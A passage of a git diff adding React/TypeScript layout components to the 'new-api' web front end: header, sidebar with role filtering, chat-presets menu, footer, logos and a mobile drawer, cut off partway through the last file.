index 0000000..40ffae8
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/app-header.tsx
@@ -0,0 +1,133 @@
+import { useNotifications } from '@/hooks/use-notifications'
+import { useTopNavLinks } from '@/hooks/use-top-nav-links'
+import { ConfigDrawer } from '@/components/config-drawer'
+import { LanguageSwitcher } from '@/components/language-switcher'
+import { NotificationButton } from '@/components/notification-button'
+import { NotificationDialog } from '@/components/notification-dialog'
+import { ProfileDropdown } from '@/components/profile-dropdown'
+import { Search } from '@/components/search'
+import { defaultTopNavLinks } from '../config/top-nav.config'
+import { type TopNavLink } from '../types'
+import { Header } from './header'
+import { TopNav } from './top-nav'
+
+/**
+ * General application Header component
+ * Integrates navigation bar, search, configuration and profile functions
+ *
+ * @example
+ * // Basic usage
+ * <AppHeader />
+ *
+ * @example
+ * // Custom navigation links
+ * <AppHeader navLinks={customLinks} />
+ *
+ * @example
+ * // Hide navigation bar and search box
+ * <AppHeader showTopNav={false} showSearch={false} />
+ *
+ * @example
+ * // Fully customize left and right content
+ * <AppHeader
+ *   leftContent={<CustomLeft />}
+ *   rightContent={<CustomRight />}
+ * />
+ */
+type AppHeaderProps = {
+  /**
+   * Custom navigation links, uses default global navigation or dynamically generated from backend if not provided
+   */
+  navLinks?: TopNavLink[]
+  /**
+   * Whether to show top navigation bar
+   * @default true
+   */
+  showTopNav?: boolean
+  /**
+   * Left content, overrides TopNav if provided
+   */
+  leftContent?: React.ReactNode
+  /**
+   * Whether to show search box
+   * @default true
+   */
+  showSearch?: boolean
+  /**
+   * Custom right content, overrides default right content if provided
+   */
+  rightContent?: React.ReactNode
+  /**
+   * Whether to show notification button
+   * @default true
+   */
+  showNotifications?: boolean
+  /**
+   * Whether to show config drawer
+   * @default true
+   */
+  showConfigDrawer?: boolean
+  /**
+   * Whether to show profile dropdown
+   * @default true
+   */
+  showProfileDropdown?: boolean
+}
+
+export function AppHeader({
+  navLinks = defaultTopNavLinks,
+  showTopNav = true,
+  leftContent,
+  showSearch = true,
+  rightContent,
+  showNotifications = true,
+  showConfigDrawer = true,
+  showProfileDropdown = true,
+}: AppHeaderProps) {
+  // Prioritize dynamically generated links from backend
+  const dynamicLinks = useTopNavLinks()
+  const links = dynamicLinks.length > 0 ? dynamicLinks : navLinks
+
+  // Notifications hook
+  const notifications = useNotifications()
+
+  // Determine left content: custom content > navigation bar > null
+  const leftSection =
+    leftContent || (showTopNav ? <TopNav links={links} /> : null)
+
+  return (
+    <>
+      <Header>
+        {leftSection}
+        {rightContent ?? (
+          <div className='ms-auto flex items-center space-x-4'>
+            {showSearch && <Search />}
+            {showNotifications && (
+              <NotificationButton
+                unreadCount={notifications.unreadCount}
+                onClick={() => notifications.openDialog()}
+              />
+            )}
+            <LanguageSwitcher />
+            {showConfigDrawer && <ConfigDrawer />}
+            {showProfileDropdown && <ProfileDropdown />}
+          </div>
+        )}
+      </Header>
+
+      {/* Notification Dialog */}
+      {showNotifications && (
+        <NotificationDialog
+          open={notifications.dialogOpen}
+          onOpenChange={notifications.setDialogOpen}
+          activeTab={notifications.activeTab}
+          onTabChange={notifications.setActiveTab}
+          notice={notifications.notice}
+          announcements={notifications.announcements}
+          loading={notifications.loading}
+          onCloseToday={notifications.closeToday}
+        />
+      )}
+    </>
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/app-sidebar.tsx b/new-api/web/default/src/components/layout/components/app-sidebar.tsx
new file mode 100644
index 0000000..303d574
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/app-sidebar.tsx
@@ -0,0 +1,66 @@
+import { useMemo } from 'react'
+import { useLocation } from '@tanstack/react-router'
+import { useTranslation } from 'react-i18next'
+import { useAuthStore } from '@/stores/auth-store'
+import { ROLE } from '@/lib/roles'
+import { useLayout } from '@/context/layout-provider'
+import { useSidebarConfig } from '@/hooks/use-sidebar-config'
+import { useSidebarData } from '@/hooks/use-sidebar-data'
+import {
+  Sidebar,
+  SidebarContent,
+  SidebarHeader,
+  SidebarRail,
+} from '@/components/ui/sidebar'
+import { getNavGroupsForPath } from '../lib/workspace-registry'
+import { NavGroup } from './nav-group'
+import { WorkspaceSwitcher } from './workspace-switcher'
+
+/**
+ * Application sidebar component
+ * Fetches corresponding navigation menu from workspace registry based on current path
+ * Dynamically filters navigation items based on backend SidebarModulesAdmin configuration
+ *
+ * Automatically matches workspace configuration for current path through workspace registry system
+ * Adding new workspaces only requires registration in workspace-registry.ts
+ */
+export function AppSidebar() {
+  const { t } = useTranslation()
+  const { collapsible, variant } = useLayout()
+  const { pathname } = useLocation()
+  const userRole = useAuthStore((state) => state.auth.user?.role)
+  const sidebarData = useSidebarData()
+
+  // Get navigation group configuration corresponding to current path from workspace registry
+  const allNavGroups = getNavGroupsForPath(pathname, t) || sidebarData.navGroups
+
+  // Filter sidebar navigation items based on backend configuration
+  const configFilteredNavGroups = useSidebarConfig(allNavGroups)
+
+  // Filter navigation groups based on user role
+  // Non-Admin users cannot see Admin navigation group
+  const currentNavGroups = useMemo(() => {
+    const isAdmin = userRole && userRole >= ROLE.ADMIN
+    return configFilteredNavGroups.filter((group) => {
+      if (group.id === 'admin') {
+        return isAdmin
+      }
+      return true
+    })
+  }, [configFilteredNavGroups, userRole])
+
+  return (
+    <Sidebar collapsible={collapsible} variant={variant}>
+      <SidebarHeader>
+        <WorkspaceSwitcher workspaces={sidebarData.workspaces} />
+      </SidebarHeader>
+      <SidebarContent>
+        {currentNavGroups.map((props) => {
+          const key = props.id || props.title
+          return <NavGroup key={key} {...props} />
+        })}
+      </SidebarContent>
+      <SidebarRail />
+    </Sidebar>
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/authenticated-layout.tsx b/new-api/web/default/src/components/layout/components/authenticated-layout.tsx
new file mode 100644
index 0000000..3ede5f2
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/authenticated-layout.tsx
@@ -0,0 +1,39 @@
+import { getCookie } from '@/lib/cookies'
+import { cn } from '@/lib/utils'
+import { LayoutProvider } from '@/context/layout-provider'
+import { SearchProvider } from '@/context/search-provider'
+import { SidebarInset, SidebarProvider } from '@/components/ui/sidebar'
+import { AnimatedOutlet } from '@/components/page-transition'
+import { SkipToMain } from '@/components/skip-to-main'
+import { WorkspaceProvider } from '../context/workspace-context'
+import { AppSidebar } from './app-sidebar'
+
+type AuthenticatedLayoutProps = {
+  children?: React.ReactNode
+}
+
+export function AuthenticatedLayout(props: AuthenticatedLayoutProps) {
+  const defaultOpen = getCookie('sidebar_state') !== 'false'
+
+  return (
+    <LayoutProvider>
+      <SearchProvider>
+        <WorkspaceProvider>
+          <SidebarProvider defaultOpen={defaultOpen}>
+            <SkipToMain />
+            <AppSidebar />
+            <SidebarInset
+              className={cn(
+                '@container/content',
+                'h-svh',
+                'peer-data-[variant=inset]:h-[calc(100svh-(var(--spacing)*4))]'
+              )}
+            >
+              {props.children ?? <AnimatedOutlet />}
+            </SidebarInset>
+          </SidebarProvider>
+        </WorkspaceProvider>
+      </SearchProvider>
+    </LayoutProvider>
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/chat-presets-item.tsx b/new-api/web/default/src/components/layout/components/chat-presets-item.tsx
new file mode 100644
index 0000000..aae9fe9
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/chat-presets-item.tsx
@@ -0,0 +1,257 @@
+import { useMemo, useCallback } from 'react'
+import { Link, useLocation } from '@tanstack/react-router'
+import { ExternalLink, Loader2, ChevronRight } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+import {
+  SidebarMenuButton,
+  SidebarMenuItem,
+  SidebarMenuSub,
+  SidebarMenuSubButton,
+  SidebarMenuSubItem,
+  useSidebar,
+} from '@/components/ui/sidebar'
+import { useActiveChatKey } from '@/features/chat/hooks/use-active-chat-key'
+import { useChatPresets } from '@/features/chat/hooks/use-chat-presets'
+import { resolveChatUrl, type ChatPreset } from '@/features/chat/lib/chat-links'
+import { normalizeHref } from '../lib/url-utils'
+import type { NavChatPresets } from '../types'
+
+/**
+ * Check if a preset requires an API key
+ */
+function requiresApiKey(preset: ChatPreset): boolean {
+  return preset.url.includes('{key}') || preset.url.includes('{cherryConfig}')
+}
+
+/**
+ * Sub-menu item for a single chat preset
+ */
+function ChatMenuItem({
+  preset,
+  active,
+  onOpen,
+  onNavigate,
+}: {
+  preset: ChatPreset
+  active: boolean
+  onOpen: (preset: ChatPreset) => void
+  onNavigate: () => void
+}) {
+  if (preset.type === 'web') {
+    return (
+      <SidebarMenuSubItem>
+        <SidebarMenuSubButton asChild isActive={active}>
+          <Link
+            to='/chat/$chatId'
+            params={{ chatId: preset.id }}
+            onClick={onNavigate}
+          >
+            <span>{preset.name}</span>
+          </Link>
+        </SidebarMenuSubButton>
+      </SidebarMenuSubItem>
+    )
+  }
+
+  return (
+    <SidebarMenuSubItem>
+      <SidebarMenuSubButton
+        onClick={() => onOpen(preset)}
+        isActive={false}
+        className='justify-between'
+      >
+        <span>{preset.name}</span>
+        <ExternalLink className='h-4 w-4' />
+      </SidebarMenuSubButton>
+    </SidebarMenuSubItem>
+  )
+}
+
+/**
+ * Dropdown menu item for a single chat preset
+ */
+function DropdownPresetItem({
+  preset,
+  onOpen,
+}: {
+  preset: ChatPreset
+  onOpen: (preset: ChatPreset) => void
+}) {
+  if (preset.type === 'web') {
+    return (
+      <DropdownMenuItem asChild>
+        <Link to='/chat/$chatId' params={{ chatId: preset.id }}>
+          {preset.name}
+        </Link>
+      </DropdownMenuItem>
+    )
+  }
+
+  return (
+    <DropdownMenuItem onClick={() => onOpen(preset)}>
+      {preset.name}
+      <ExternalLink className='ml-auto h-4 w-4 opacity-70' />
+    </DropdownMenuItem>
+  )
+}
+
+/**
+ * Dynamic chat presets navigation item
+ */
+export function ChatPresetsItem({ item }: { item: NavChatPresets }) {
+  const { t } = useTranslation()
+  const { chatPresets, serverAddress } = useChatPresets()
+  const { state, isMobile, setOpenMobile } = useSidebar()
+  const href = useLocation({ select: (location) => location.href })
+  const loadingMessage = t('Preparing chat keys…')
+
+  const visiblePresets = useMemo(
+    () => chatPresets.filter((preset) => preset.type !== 'fluent'),
+    [chatPresets]
+  )
+
+  const hasKeyDependentPresets = useMemo(
+    () => visiblePresets.some(requiresApiKey),
+    [visiblePresets]
+  )
+
+  const {
+    data: activeKey,
+    isPending: isKeyPending,
+    error: keyError,
+  } = useActiveChatKey(hasKeyDependentPresets)
+
+  const handleOpenExternal = useCallback(
+    (preset: ChatPreset) => {
+      if (preset.type === 'web') return
+
+      const needsKey = requiresApiKey(preset)
+
+      if (needsKey && isKeyPending) {
+        toast.info(t('Preparing your chat link, please try again in a moment.'))
+        return
+      }
+
+      if (needsKey && !activeKey) {
+        const message =
+          keyError instanceof Error
+            ? keyError.message
+            : t(
+                'Unable to prepare chat link. Please ensure you have an enabled API key.'
+              )
+        toast.error(message)
+        return
+      }
+
+      const url = resolveChatUrl({
+        template: preset.url,
+        apiKey: needsKey ? activeKey : undefined,
+        serverAddress,
+      })
+
+      if (!url) {
+        toast.error(t('Invalid chat link. Please contact the administrator.'))
+        return
+      }
+
+      if (typeof window === 'undefined') return
+
+      window.open(url, '_blank', 'noopener')
+      setOpenMobile(false)
+    },
+    [activeKey, isKeyPending, keyError, serverAddress, setOpenMobile, t]
+  )
+
+  const normalizedHref = normalizeHref(href)
+
+  // Don't render if no visible presets
+  if (visiblePresets.length === 0) {
+    return null
+  }
+
+  // Collapsed state on non-mobile - render dropdown menu
+  if (state === 'collapsed' && !isMobile) {
+    return (
+      <SidebarMenuItem>
+        <DropdownMenu>
+          <DropdownMenuTrigger asChild>
+            <SidebarMenuButton tooltip={item.title}>
+              {item.icon && <item.icon className='h-4 w-4' />}
+              <span>{item.title}</span>
+              <ChevronRight className='ms-auto h-4 w-4 opacity-70' />
+            </SidebarMenuButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align='start'>
+            {visiblePresets.map((preset) => (
+              <DropdownPresetItem
+                key={preset.id}
+                preset={preset}
+                onOpen={handleOpenExternal}
+              />
+            ))}
+            {hasKeyDependentPresets && <DropdownMenuSeparator />}
+            {hasKeyDependentPresets && isKeyPending && (
+              <DropdownMenuItem disabled>
+                <Loader2 className='mr-2 h-4 w-4 animate-spin' />
+                {loadingMessage}
+              </DropdownMenuItem>
+            )}
+          </DropdownMenuContent>
+        </DropdownMenu>
+      </SidebarMenuItem>
+    )
+  }
+
+  // Expanded state - render collapsible menu
+  return (
+    <Collapsible
+      asChild
+      defaultOpen={normalizedHref.startsWith('/chat')}
+      className='group/collapsible'
+    >
+      <SidebarMenuItem>
+        <CollapsibleTrigger asChild>
+          <SidebarMenuButton>
+            {item.icon && <item.icon />}
+            <span>{item.title}</span>
+            <ChevronRight className='ms-auto transition-transform duration-200 group-data-[state=open]/collapsible:rotate-90' />
+          </SidebarMenuButton>
+        </CollapsibleTrigger>
+        <CollapsibleContent className='CollapsibleContent'>
+          <SidebarMenuSub>
+            {visiblePresets.map((preset) => (
+              <ChatMenuItem
+                key={preset.id}
+                preset={preset}
+                active={normalizedHref === `/chat/${preset.id}`}
+                onOpen={handleOpenExternal}
+                onNavigate={() => setOpenMobile(false)}
+              />
+            ))}
+            {hasKeyDependentPresets && isKeyPending && (
+              <SidebarMenuSubItem>
+                <SidebarMenuSubButton aria-disabled='true' tabIndex={-1}>
+                  <Loader2 className='mr-2 h-4 w-4 animate-spin' />
+                  {loadingMessage}
+                </SidebarMenuSubButton>
+              </SidebarMenuSubItem>
+            )}
+          </SidebarMenuSub>
+        </CollapsibleContent>
+      </SidebarMenuItem>
+    </Collapsible>
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/footer.tsx b/new-api/web/default/src/components/layout/components/footer.tsx
new file mode 100644
index 0000000..eed0b6c
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/footer.tsx
@@ -0,0 +1,202 @@
+import { useMemo } from 'react'
+import { Link } from '@tanstack/react-router'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { useSystemConfig } from '@/hooks/use-system-config'
+
+interface FooterLink {
+  text: string
+  href: string
+}
+
+interface FooterColumnProps {
+  title: string
+  links: FooterLink[]
+}
+
+interface FooterProps {
+  logo?: string
+  name?: string
+  columns?: FooterColumnProps[]
+  copyright?: string
+  className?: string
+}
+
+function FooterLinkItem(props: { link: FooterLink }) {
+  const { t } = useTranslation()
+  const isExternal = props.link.href.startsWith('http')
+  const label = t(props.link.text)
+
+  if (isExternal) {
+    return (
+      <a
+        href={props.link.href}
+        target='_blank'
+        rel='noopener noreferrer'
+        className='text-muted-foreground hover:text-foreground text-sm transition-colors duration-200'
+      >
+        {label}
+      </a>
+    )
+  }
+
+  return (
+    <Link
+      to={props.link.href}
+      className='text-muted-foreground hover:text-foreground text-sm transition-colors duration-200'
+    >
+      {label}
+    </Link>
+  )
+}
+
+export function Footer(props: FooterProps) {
+  const { t } = useTranslation()
+  const {
+    systemName,
+    logo: systemLogo,
+    footerHtml,
+    demoSiteEnabled,
+  } = useSystemConfig()
+
+  const displayLogo = systemLogo || props.logo || '/logo.png'
+  const displayName = systemName || props.name || 'New API'
+  const isDemoSiteMode = Boolean(demoSiteEnabled)
+  const currentYear = new Date().getFullYear()
+
+  const fallbackColumns = useMemo<FooterColumnProps[]>(
+    () => [
+      {
+        title: t('footer.columns.about.title'),
+        links: [
+          {
+            text: t('footer.columns.about.links.aboutProject'),
+            href: 'https://docs.newapi.pro/wiki/project-introduction/',
+          },
+          {
+            text: t('footer.columns.about.links.contact'),
+            href: 'https://docs.newapi.pro/support/community-interaction/',
+          },
+          {
+            text: t('footer.columns.about.links.features'),
+            href: 'https://docs.newapi.pro/wiki/features-introduction/',
+          },
+        ],
+      },
+      {
+        title: t('footer.columns.docs.title'),
+        links: [
+          {
+            text: t('footer.columns.docs.links.quickStart'),
+            href: 'https://docs.newapi.pro/getting-started/',
+          },
+          {
+            text: t('footer.columns.docs.links.installation'),
+            href: 'https://docs.newapi.pro/installation/',
+          },
+          {
+            text: t('footer.columns.docs.links.apiDocs'),
+            href: 'https://docs.newapi.pro/api/',
+          },
+        ],
+      },
+      {
+        title: t('footer.columns.related.title'),
+        links: [
+          {
+            text: t('footer.columns.related.links.oneApi'),
+            href: 'https://github.com/songquanpeng/one-api',
+          },
+          {
+            text: t('footer.columns.related.links.midjourney'),
+            href: 'https://github.com/novicezk/midjourney-proxy',
+          },
+          {
+            text: t('footer.columns.related.links.neko'),
+            href: 'https://github.com/Calcium-Ion/neko-api-key-tool',
+          },
+        ],
+      },
+    ],
+    [t]
+  )
+
+  const displayColumns = props.columns ?? fallbackColumns
+
+  if (footerHtml) {
+    return (
+      <div
+        className='custom-footer w-full'
+        dangerouslySetInnerHTML={{ __html: footerHtml }}
+      />
+    )
+  }
+
+  return (
+    <footer
+      className={cn('border-border/40 relative z-10 border-t', props.className)}
+    >
+      <div className='mx-auto max-w-6xl px-6 py-12 md:py-16'>
+        <div className='flex flex-col justify-between gap-10 md:flex-row md:gap-16'>
+          {/* Brand column */}
+          <div className='shrink-0'>
+            <Link to='/' className='group flex items-center gap-2.5'>
+              <img
+                src={displayLogo}
+                alt={displayName}
+                className='size-7 rounded-lg object-contain'
+              />
+              <span className='text-sm font-semibold tracking-tight'>
+                {displayName}
+              </span>
+            </Link>
+            <p className='text-muted-foreground/60 mt-3 max-w-[200px] text-xs leading-relaxed'>
+              {t('Powerful API Management Platform')}
+            </p>
+          </div>
+
+          {/* Links columns */}
+          {isDemoSiteMode && (
+            <div className='grid grid-cols-3 gap-8 md:gap-16'>
+              {displayColumns.map((column, index) => (
+                <div key={index}>
+                  <p className='text-muted-foreground/50 mb-3 text-xs font-medium tracking-wider uppercase'>
+                    {t(column.title)}
+                  </p>
+                  <ul className='space-y-2.5'>
+                    {column.links.map((link, linkIndex) => (
+                      <li key={linkIndex}>
+                        <FooterLinkItem link={link} />
+                      </li>
+                    ))}
+                  </ul>
+                </div>
+              ))}
+            </div>
+          )}
+        </div>
+
+        {/* Bottom section */}
+        <div className='border-border/30 mt-12 flex flex-col items-center justify-between gap-3 border-t pt-6 sm:flex-row'>
+          <p className='text-muted-foreground/40 text-xs'>
+            &copy; {currentYear} {displayName}.{' '}
+            {props.copyright ?? t('footer.defaultCopyright')}
+          </p>
+          <div className='flex items-center gap-2'>
+            <span className='text-muted-foreground/40 text-xs'>
+              {t('Designed and Developed by')}{' '}
+            </span>
+            <a
+              href='https://github.com/QuantumNous/new-api'
+              target='_blank'
+              rel='noopener noreferrer'
+              className='text-primary text-xs font-medium hover:underline'
+            >
+              {t('New API')}
+            </a>
+          </div>
+        </div>
+      </div>
+    </footer>
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/glow.tsx b/new-api/web/default/src/components/layout/components/glow.tsx
new file mode 100644
index 0000000..9947358
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/glow.tsx
@@ -0,0 +1,46 @@
+import React from 'react'
+import { cva, type VariantProps } from 'class-variance-authority'
+import { cn } from '@/lib/utils'
+
+const glowVariants = cva('absolute w-full', {
+  variants: {
+    variant: {
+      top: 'top-0',
+      above: '-top-[128px]',
+      bottom: 'bottom-0',
+      below: '-bottom-[128px]',
+      center: 'top-[50%]',
+    },
+  },
+  defaultVariants: {
+    variant: 'top',
+  },
+})
+
+export interface GlowProps
+  extends
+    React.HTMLAttributes<HTMLDivElement>,
+    VariantProps<typeof glowVariants> {}
+
+export function Glow({ className, variant, ...props }: GlowProps) {
+  return (
+    <div
+      data-slot='glow'
+      className={cn(glowVariants({ variant }), className)}
+      {...props}
+    >
+      <div
+        className={cn(
+          'absolute left-1/2 h-[256px] w-[60%] -translate-x-1/2 scale-[2.5] rounded-[50%] bg-radial from-amber-500/60 from-10% to-amber-500/0 to-60% opacity-40 sm:h-[512px] dark:opacity-80',
+          variant === 'center' && '-translate-y-1/2'
+        )}
+      />
+      <div
+        className={cn(
+          'absolute left-1/2 h-[128px] w-[40%] -translate-x-1/2 scale-200 rounded-[50%] bg-radial from-yellow-400/50 from-10% to-yellow-400/0 to-60% opacity-30 sm:h-[256px] dark:opacity-70',
+          variant === 'center' && '-translate-y-1/2'
+        )}
+      />
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/header-logo.tsx b/new-api/web/default/src/components/layout/components/header-logo.tsx
new file mode 100644
index 0000000..77153d2
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/header-logo.tsx
@@ -0,0 +1,33 @@
+import { cn } from '@/lib/utils'
+
+interface HeaderLogoProps {
+  src: string
+  alt?: string
+  loading: boolean
+  logoLoaded: boolean
+  className?: string
+}
+
+/**
+ * Logo component for header with loading state
+ * Shows image only when fully loaded for smooth UX
+ */
+export function HeaderLogo({
+  src,
+  alt = 'logo',
+  loading,
+  logoLoaded,
+  className,
+}: HeaderLogoProps) {
+  return (
+    <img
+      src={src}
+      alt={alt}
+      className={cn(
+        'h-6 w-6 rounded-full transition-opacity duration-200',
+        !loading && logoLoaded ? 'opacity-100' : 'opacity-0',
+        className
+      )}
+    />
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/header.tsx b/new-api/web/default/src/components/layout/components/header.tsx
new file mode 100644
index 0000000..7c779a2
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/header.tsx
@@ -0,0 +1,20 @@
+import { cn } from '@/lib/utils'
+import { Separator } from '@/components/ui/separator'
+import { SidebarTrigger } from '@/components/ui/sidebar'
+
+type HeaderProps = React.HTMLAttributes<HTMLElement>
+
+export function Header({ className, children, ...props }: HeaderProps) {
+  return (
+    <header
+      className={cn('bg-background z-50 h-16 shrink-0 border-b', className)}
+      {...props}
+    >
+      <div className='flex h-full items-center gap-3 p-4 sm:gap-4'>
+        <SidebarTrigger variant='outline' />
+        <Separator orientation='vertical' className='h-6' />
+        {children}
+      </div>
+    </header>
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/logo.tsx b/new-api/web/default/src/components/layout/components/logo.tsx
new file mode 100644
index 0000000..a3a3b2c
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/logo.tsx
@@ -0,0 +1,43 @@
+import React from 'react'
+import { cn } from '@/lib/utils'
+import { Badge } from '@/components/ui/badge'
+
+export interface LogoProps extends React.HTMLAttributes<HTMLDivElement> {
+  image: React.ComponentType<React.SVGProps<SVGSVGElement>>
+  name: string
+  version?: string
+  width?: number
+  height?: number
+  showName?: boolean
+  badge?: string
+}
+
+export function Logo({
+  className,
+  image: SvgImage,
+  name,
+  version,
+  width = 24,
+  height = 24,
+  showName = true,
+  badge,
+  ...props
+}: LogoProps) {
+  return (
+    <div
+      data-slot='logo'
+      className={cn('flex items-center gap-2 text-sm font-medium', className)}
+      {...props}
+    >
+      <SvgImage
+        width={width}
+        height={height}
+        aria-hidden='true'
+        className='max-h-full max-w-full opacity-70'
+      />
+      <span className={cn(!showName && 'sr-only')}>{name}</span>
+      {version && <span className='text-muted-foreground'>{version}</span>}
+      {badge && <Badge variant='secondary'>{badge}</Badge>}
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/main.tsx b/new-api/web/default/src/components/layout/components/main.tsx
new file mode 100644
index 0000000..4287b76
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/main.tsx
@@ -0,0 +1,19 @@
+import { cn } from '@/lib/utils'
+
+type MainProps = React.HTMLAttributes<HTMLElement> & {
+  fluid?: boolean
+}
+
+export function Main({ className, fluid = true, ...props }: MainProps) {
+  return (
+    <main
+      className={cn(
+        'flex min-h-0 flex-1 flex-col overflow-hidden',
+        !fluid &&
+          '@7xl/content:mx-auto @7xl/content:w-full @7xl/content:max-w-7xl',
+        className
+      )}
+      {...props}
+    />
+  )
+}
diff --git a/new-api/web/default/src/components/layout/components/mobile-drawer.tsx b/new-api/web/default/src/components/layout/components/mobile-drawer.tsx
new file mode 100644
index 0000000..168eac1
--- /dev/null
+++ b/new-api/web/default/src/components/layout/components/mobile-drawer.tsx
@@ -0,0 +1,273 @@
+import { Link } from '@tanstack/react-router'
+import { X, User, Wallet, LogOut } from 'lucide-react'
+import { AnimatePresence, motion, type Variants } from 'motion/react'
+import { useTranslation } from 'react-i18next'
+import type { AuthUser } from '@/stores/auth-store'
+import useDialogState from '@/hooks/use-dialog'
+import { useUserDisplay } from '@/hooks/use-user-display'
+import { Avatar, AvatarFallback, AvatarImage } from '@/components/ui/avatar'
+import { Button } from '@/components/ui/button'
+import { Skeleton } from '@/components/ui/skeleton'
+import { SignOutDialog } from '@/components/sign-out-dialog'
+import { MOBILE_DRAWER_ANIMATION, MOBILE_DRAWER_CONFIG } from '../constants'
+import type { TopNavLink } from '../types'
+
+/**
+ * Brand logo component with skeleton loading
+ */
+interface BrandLogoProps {
+  homeUrl: string
+  displayLogo: React.ReactNode
+  displaySiteName: string
+  loading: boolean
+  logoLoaded: boolean
+  onClick?: () => void
+}
+
+function BrandLogo({
+  homeUrl,
+  displayLogo,
+  displaySiteName,
+  loading,
+  logoLoaded,
+  onClick,
+}: BrandLogoProps) {
+  return (
+    <Link
+      to={homeUrl}
+      className='flex items-center gap-2 text-xl font-bold'
+      onClick={onClick}
+    >
+      <div className='relative h-6 w-6'>
+        {loading || !logoLoaded ? (
+          <Skeleton className='absolute inset-0 rounded-full' />
+        ) : null}
+        {displayLogo}
+      </div>
+      {loading ? <Skeleton className='h-5 w-20' /> : displaySiteName}
+    </Link>
+  )
+}
+
+/**
+ * Mobile user profile section with navigation links
+ */
+interface MobileUserProfileProps {
+  user: AuthUser | null
+  onNavigate?: () => void
+}
+
+function MobileUserProfile({ user, onNavigate }: MobileUserProfileProps) {
+  const { t } = useTranslation()
+  const [signOutOpen, setSignOutOpen] = useDialogState()
+  const { displayName, initials, roleLabel } = useUserDisplay(user)
+
+  if (!user) return null
+
+  return (
+    <>
+      {/* User info section - compact style matching navigation */}
+      <div className='flex flex-col text-sm'>
+        {/* User header - simplified */}
+        <div className='border-border flex items-center gap-2.5 border-b p-2.5'>
+          <Avatar className='size-9'>
+            <AvatarImage src='/avatars/01.png' alt={`@${displayName}`} />
+            <AvatarFallback className='text-xs'>{initials}</AvatarFallback>
+          </Avatar>
+          <div className='flex flex-1 flex-col gap-0.5 overflow-hidden'>
+            <p className='text-foreground truncate font-medium'>
+              {displayName}
+            </p>
+            <div className='flex items-center gap-1.5'>
+              <span className='text-muted-foreground text-xs'>{roleLabel}</span>
+              {user.group && (
+                <>
+                  <span className='text-muted-foreground text-xs'>·</span>
+                  <span className='text-muted-foreground text-xs'>
+                    {String(user.group)}
+                  </span>
+                </>
+              )}
+            </div>
+          </div>
+        </div>
+
+        {/* Navigation links - same style as top nav */}
+        <Link
+          to='/profile'
+          onClick={onNavigate}
+          className='text-primary/60 hover:text-primary/80 border-border flex items-center gap-2.5 border-b p-2.5 transition-colors'
+        >
+          <User className='size-4' />
+          {t('Profile')}
+        </Link>
+
+        <Link
+          to='/wallet'
+          onClick={onNavigate}
+          className='text-primary/60 hover:text-primary/80 border-border flex items-center gap-2.5 border-b p-2.5 transition-colors'
+        >
+          <Wallet className='size-4' />
+          {t('Wallet')}
+        </Link>
+
+        {/* Sign out - consistent style */}
+        <Button
+          variant='ghost'
+          onClick={() => setSignOutOpen(true)}
+          className='text-destructive hover:text-destructive/80 h-auto w-full justify-start gap-2.5 p-2.5 hover:bg-transparent'
+        >
+          <LogOut className='size-4' />
+          {t('Sign out')}
+        </Button>
+      </div>
+
+      <SignOutDialog open={!!signOutOpen} onOpenChange={setSignOutOpen} />
+    </>
+  )
+}
+
+/**
+ * Mobile sign in button for unauthenticated users
+ */
+interface MobileSignInButtonProps {
+  onNavigate?: () => void
+}
+
+function MobileSignInButton({ onNavigate }: MobileSignInButtonProps) {
+  const { t } = useTranslation()
+  return (
+    <Button variant='secondary' size='sm' asChild className='h-10 w-full'>
+      <Link to='/sign-in' onClick={onNavigate}>
+        {t('Sign in')}
+      </Link>
+    </Button>
+  )
+}
+
+/**
+ * Mobile drawer component props
+ */
+export interface MobileDrawerProps {
+  isOpen: boolean
+  onClose: () => void
+  homeUrl: string
+  displayLogo: React.ReactNode
+  displaySiteName: string
+  loading: boolean
+  logoLoaded: boolean
+  mobileLinksList: TopNavLink[]
+  showAuthButtons: boolean
+  user: AuthUser | null
+}
+
+/**
+ * Mobile drawer component with bottom slide-up animation
+ * Displays navigation links and user profile section
+ */
+export function MobileDrawer({
+  isOpen,
+  onClose,
+  homeUrl,
+  displayLogo,
+  displaySiteName,
+  loading,
+  logoLoaded,
+  mobileLinksList,
+  showAuthButtons,
+  user,
+}: MobileDrawerProps) {
+  const { t } = useTranslation()
+  return (
+    <AnimatePresence>
+      {isOpen && (
+        <>
+          {/* Overlay */}
+          <motion.div
+            className={MOBILE_DRAWER_CONFIG.overlayClassName}
+            initial='hidden'
+            animate='visible'
+            exit='exit'
+            variants={MOBILE_DRAWER_ANIMATION.overlay as Variants}
+            transition={{
+              duration: MOBILE_DRAWER_CONFIG.overlayTransitionDuration,
+            }}
+            onClick={onClose}
+          />
+
+          {/* Drawer Content */}
+          <motion.div
+            className={MOBILE_DRAWER_CONFIG.drawerClassName}
+            initial='hidden'
+            animate='visible'
+            exit='exit'
+            variants={MOBILE_DRAWER_ANIMATION.drawer as Variants}
+          >
+            <div className='flex flex-col gap-4'>
+              {/* Header with logo and close button */}
+              <div className='flex items-center justify-between'>
+                <BrandLogo
+                  homeUrl={homeUrl}
